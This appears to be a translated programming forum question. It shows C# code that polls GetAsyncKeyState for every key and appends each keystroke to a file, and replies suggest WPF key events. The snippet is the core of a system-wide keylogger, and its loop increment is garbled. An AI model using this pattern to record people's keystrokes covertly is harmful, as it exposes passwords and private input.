#c# #.net #keyboard #keystroke
#c# #.net #клавиатура #нажатие клавиши
Вопрос:
Я использую этот код
KeysConverter keyConverter = new KeysConverter();
String text = "";
while (true)
{
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i )
{
int key = GetAsyncKeyState(i);
if (key == 1 || key == -32767)
{
text = keyConverter.ConvertToString(i);
using (StreamWriter sw = File.AppendText(path))
{
sw.WriteLine(text);
}
}
}
}
для записи клавиш и сохранения их в файл.
Прямо сейчас, если я запускаю приложение и набираю заглавную букву A, оно печатается, shift lshift a
и это не то, что я хочу, чтобы оно делало. Я хочу упростить его, просто распечатав заглавную букву A
Комментарии:
1. Для этого есть разные способы. В зависимости от того, является ли приложение WPF или ConsoleApp или WinForm или ASP.NET MVC (т.е. в knockout вы можете использовать valueUpdate: ‘keyup’). Я предлагаю, чтобы вы могли начать с поиска того, что является «событием» в общих парадигмах программирования.
2. Это WPF. Итак, вы предлагаете, чтобы я привязал keyevent, например, KeyDown?
3. Другая проблема связана с потоком ввода. Скажите, что, если входной строкой является «ABCD<backspace/><backspace/><backspace/>». Вы собираетесь получить «A» или «ABCD»? Если это простой элемент управления, просто подпишитесь на KeyDown или KeyUp, в зависимости от того, каким вы ожидаете поведения при вводе. Если это элемент управления framework в вашем проекте, попробуйте привязку команд.
4. Вы можете отфильтровать результат, выбрав KeyEventArgs . Нажмите, чтобы вы не получили ctrl / shift / alt / delete / pgup / pgdns.